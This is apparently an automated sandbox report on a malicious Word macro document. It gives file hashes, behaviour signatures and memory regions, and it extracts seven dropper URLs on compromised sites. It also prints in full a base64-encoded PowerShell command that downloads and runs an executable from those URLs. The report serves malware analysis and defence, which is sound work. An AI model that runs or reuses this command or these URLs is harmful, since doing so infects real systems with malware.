Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    31/05/2024, 05:59

General

  • Target

    8627fb33794cbf0e5c33916b8e0aafcd_JaffaCakes118.doc

  • Size

    198KB

  • MD5

    8627fb33794cbf0e5c33916b8e0aafcd

  • SHA1

    b7bbf5c0647e9c25dd0a4a8800f6a55232a1451a

  • SHA256

    cd2d217249575d3ddafffc84c42e3ede78250d5b5856c64eca124efa9ba266f9

  • SHA512

    bdee4bae79f0a7dc8cb9d88cc0dcbcf149f0ca386fb79157e4643e4e7edef74545579f1e552683a7f5e0fec98d6fa3894141d8e3def0352805a94d7710a679a2

  • SSDEEP

    3072:9WKWj22TWTogk079THcpOu5UZf5EcbWD+8zp:y/TX07hHcJQxEcKDbzp

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://haymetetrading.com/wp-includes/yGELKj4/

exe.dropper

http://simofferbd24.com/wp-includes/fsiQc/

exe.dropper

http://401kplansinfo.com/cgi-bin/KtFRk/

exe.dropper

http://fidelityguide.com/cgi-bin/VA/

exe.dropper

https://sirnakmidyeci.com/wp-includes/qk9wW2/

exe.dropper

https://subitocarne.com/wp-content/ByeOAt9/

exe.dropper

https://eliesalibaarchitect.com/wordpress/T/

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8627fb33794cbf0e5c33916b8e0aafcd_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2972
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:108
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABVAGUAdgB3AHoAZwB6AD0AKAAoACcAQgAnACsAJwBrAG4AdAAnACkAKwAoACcANAA1ACcAKwAnAHAAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAE4AVgA6AHUAcwBFAHIAcAByAE8ARgBpAGwAZQBcAHkAdgAzAFcAbQA5AGcAXAB3AFoATgA3ADgAZQA4AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwBUAG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAcgBJAGAAVABZAFAAYABSAE8AdABPAEMAYABvAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxADIALAAnACkAKwAnACAAdAAnACsAKAAnAGwAJwArACcAcwAxADEALAAgAHQAJwApACsAJwBsACcAKwAnAHMAJwApADsAJABRADMAeQB3AGkAbwBvACAAPQAgACgAKAAnAFQAJwArACcAaQBpACcAKQArACgAJwAwACcAKwAnAGIAYwAnACkAKwAnAHAAJwApADsAJABFAGYAZQA1AHEAegA5AD0AKAAnAFcAJwArACgAJwB6ACcAKwAnADUAZAA0ACcAKQArACcANABlACcAKQA7ACQAQgBuAHAAXwBzADUAdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAGcAJwArACcAUQBXAFkAJwArACcAdgAzACcAKQArACcAdwAnACsAJwBtACcAKwAnADkAZwAnACsAKAAnAGcAUQAnACsAJwBXACcAKQArACgAJwBXAHoAJwArACcAbgA3ACcAKQArACcAOABlACcAKwAoACcAOABnAFEAJwArACcAVwAnACkAKQAuACIAcgBlAHAAYABsAGAAQQBjAGUAIgAoACgAWwBDAGgAQQByAF0AMQAwADMAKwBbAEMAaABBAHIAXQA4ADEAKwBbAEMAaABBAHIAXQA4ADcAKQAsAFsAcwBUAFIASQBOAEcAXQBbAEMAaABBAHIAXQA5ADIAKQApACsAJABRADMAeQB3AGkAbwBvACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAWABzAHQAYgB1AHgAcgA9ACgAKAAnAEcAZAAnACsAJwBlACcAKQArACgAJwB5ADcAMAAnACsAJwA5ACcAKQApADsAJABUAHIANwB5ADAAZQBnAD0AJgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABOAEUAVAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABDAHgAZQBhAGsAcgBxAD0AKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwBoAGEAeQAnACsAJwBtAGUAdABlAHQAcgAnACsAJwBhAGQAaQBuAGcALgAnACkAKwAoACcAYwBvAG0AJwArACcALwB3AHAALQBpAG4AJwArACcAYwBsAHUAJwArACcAZABlACcAKQArACgAJwBzACcAKwAnAC8AeQBHACcAKQArACcARQBMACcAKwAoACcASwBqACcAKwAnADQALwAqACcAKwAnAGgAdAB0AHAAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAHMAJwApACsAJwBpAG0AJwArACcAbwAnACsAJwBmAGYAJwArACgAJwBlAHIAJwArACcAYgBkACcAKQArACgAJwAyADQALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwB3ACcAKwAnAHAALQBpACcAKQArACgAJwBuAGMAbAB1ACcAKwAnAGQAZQAnACkAKwAnAHMAJwArACgAJwAvAGYAJwArACcAcwBpAFEAYwAnACkAKwAnAC8AKgAnACsAJwBoAHQAJwArACgAJwB0AHAAOgAvACcAKwAnAC8ANAAwADEAawBwAGwAYQAnACsAJwBuACcAKwAnAHMAJwArACcAaQBuAGYAbwAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAoACcALwBjACcAKwAnAGcAaQAnACkAKwAnAC0AYgAnACsAKAAnAGkAbgAnACsAJwAvAEsAJwArACcAdABGAFIAawAvACoAJwArACcAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAGYAaQAnACsAJwBkAGUAbAAnACsAJwBpAHQAeQAnACkAKwAoACcAZwB1AGkAJwArACcAZABlAC4AYwAnACsAJwBvAG0ALwAnACkAKwAnAGMAJwArACcAZwBpACcAKwAnAC0AJwArACgAJwBiAGkAbgAnACsAJwAvACcAKQArACgAJwBWAEEALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAcwAnACsAJwA6AC8ALwAnACkAKwAoACcAcwAnACsAJwBpAHIAbgBhAGsAbQBpACcAKwAnAGQAeQAnACsAJwBlACcAKQArACgAJwBjAGkAJwArACcALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AJwApACsAJwBpAG4AJwArACcAYwAnACsAJwBsACcAKwAnAHUAZAAnACsAKAAnAGUAJwArACcAcwAvAHEAJwApACsAJwBrACcAKwAnADkAdwAnACsAKAAnAFcAMgAvACcAKwAnACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAcwA6ACcAKwAnAC8ALwBzAHUAYgAnACkAKwAoACcAaQB0AG8AYwBhAHIAJwArACcAbgBlACcAKQArACcALgBjACcAKwAnAG8AbQAnACsAJwAvAHcAJwArACgAJwBwAC0AYwBvACcAKwAnAG4AdABlACcAKwAnAG4AJwApACsAKAAnAHQALwAnACsAJwBCAHkAZQBPAEEAJwArACcAdAAnACkAKwAoACcAOQAvACcAKwAnACoAaAB0AHQAJwArACcAcABzADoAJwApACsAKAAnAC8ALwBlAGwAJwArACcAaQBlAHMAJwApACsAKAAnAGEAbAAnACsAJwBpAGIAJwApACsAKAAnAGEAYQAnACsAJwByAGMAJwApACsAKAAnAGgAaQB0ACcAKwAnAGUAJwArACcAYwB0ACcAKwAnAC4AYwBvAG0ALwB3ACcAKwAnAG8AcgBkAHAAcgBlACcAKwAnAHMAcwAnACsAJwAvAFQALwAnACkAKQAuACIAcwBgAFAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABTAHIAcAB1AGIANgA1AD0AKAAoACcASQA2AHoAJwArACcAZABfACcAKwAnAGwAJwApACsAJwByACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFEAZQBjAGcAdAA0AHkAIABpAG4AIAAkAEMAeABlAGEAawByAHEAKQB7AHQAcgB5AHsAJABUAHIANwB5ADAAZQBnAC4AIgBEAG8AYABXAG4AYABMAE8AQQBEAGYAaQBsAEUAIgAoACQAUQBlAGMAZwB0ADQAeQAsACAAJABCAG4AcABfAHMANQB2ACkAOwAkAEMAcgBjAHQAdABuAHYAPQAoACgAJwBSAGMAJwArACcAdQBtACcAKQArACcAdQAnACsAJwBrAHgAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEIAbgBwAF8AcwA1AHYAKQAuACIATABlAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADMANwA5ADcANgApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABCAG4AcABfAHMANQB2ACkAOwAkAEMAbgBtAG4AdgAxAGIAPQAoACcARQAxACcAKwAoACcAegAwAG4AYwAnACsAJwA5ACcAKQApADsAYgByAGUAYQBrADsAJABFAHUAbwA4AG8AaABuAD0AKAAnAFcAJwArACgAJwA3AF8AbAByACcAKwAnADQAYwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBtADgAMABmAHYAdAA9ACgAKAAnAEEAJwArACcANgBtACcAKQArACcAeAA3ACcAKwAnAHYAbAAnACkA
      1⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2548

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            07b28d02a8fa5b091b3d445d82a8cdab

            SHA1

            e4892f113ca15cba90244a36091a1ece897e959a

            SHA256

            193442847518a8e637569997c6692ec9b0726868063ecb020772598d6e62b209

            SHA512

            ecaf9b0f5fdc04e470e3ca2865378463f962997170c0bbf3ac47b7592bbd726d27f09015d71a4b8ce132079ecd3b740df51d1bb569ca2ad98c3260a1ade75731

          • memory/2548-41-0x0000000001F70000-0x0000000001F78000-memory.dmp

            Filesize

            32KB

          • memory/2548-40-0x000000001B640000-0x000000001B922000-memory.dmp

            Filesize

            2.9MB

          • memory/2972-14-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-28-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-8-0x0000000005BC0000-0x0000000005CC0000-memory.dmp

            Filesize

            1024KB

          • memory/2972-13-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-9-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-29-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-10-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-11-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-17-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-22-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-23-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-21-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-20-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-19-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-18-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-16-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-15-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-0-0x000000002F7E1000-0x000000002F7E2000-memory.dmp

            Filesize

            4KB

          • memory/2972-7-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-24-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-12-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-33-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-32-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-31-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-30-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-27-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-26-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-25-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-34-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-6-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-2-0x000000007189D000-0x00000000718A8000-memory.dmp

            Filesize

            44KB

          • memory/2972-46-0x000000007189D000-0x00000000718A8000-memory.dmp

            Filesize

            44KB

          • memory/2972-47-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-49-0x0000000000750000-0x0000000000850000-memory.dmp

            Filesize

            1024KB

          • memory/2972-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2972-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2972-66-0x000000007189D000-0x00000000718A8000-memory.dmp

            Filesize

            44KB